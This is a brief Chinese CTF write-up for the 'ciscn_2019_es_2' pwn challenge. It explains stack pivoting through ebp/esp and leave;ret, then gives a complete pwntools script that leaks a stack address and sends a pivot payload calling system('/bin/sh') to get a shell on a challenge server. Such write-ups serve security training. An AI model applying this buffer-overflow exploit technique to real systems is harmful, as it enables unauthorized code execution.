ciscn_2019_es_2
查看保护
有溢出,但是溢出有限,所以可以考虑一下栈迁移。
栈迁移其实就是通过ebp和esp间接跳板来控制eip执行system即可。
from pwn import *
context(arch='i386', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 28028)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
p1 = 'a' * 0x20 + 'b' * 8
r.send(p1)
r.recvuntil('b' * 8)
ebp_addr = u32(r.recv(4))
success('ebp_addr = ' + hex(ebp_addr))
system_addr = 0x08048400
leave_ret = 0x080484b8
p2 = (b'a' * 4 + p32(system_addr) + b'a' * 4 + p32(ebp_addr - 0x28) + b'/bin/sh').ljust(0x28, b'\x00')
p2 += p32(ebp_addr - 0x38) + p32(leave_ret)
r.send(p2)
r.interactive()